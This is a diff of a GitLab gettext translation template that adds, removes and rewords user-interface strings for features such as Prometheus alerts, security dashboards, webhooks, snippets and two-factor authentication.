@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
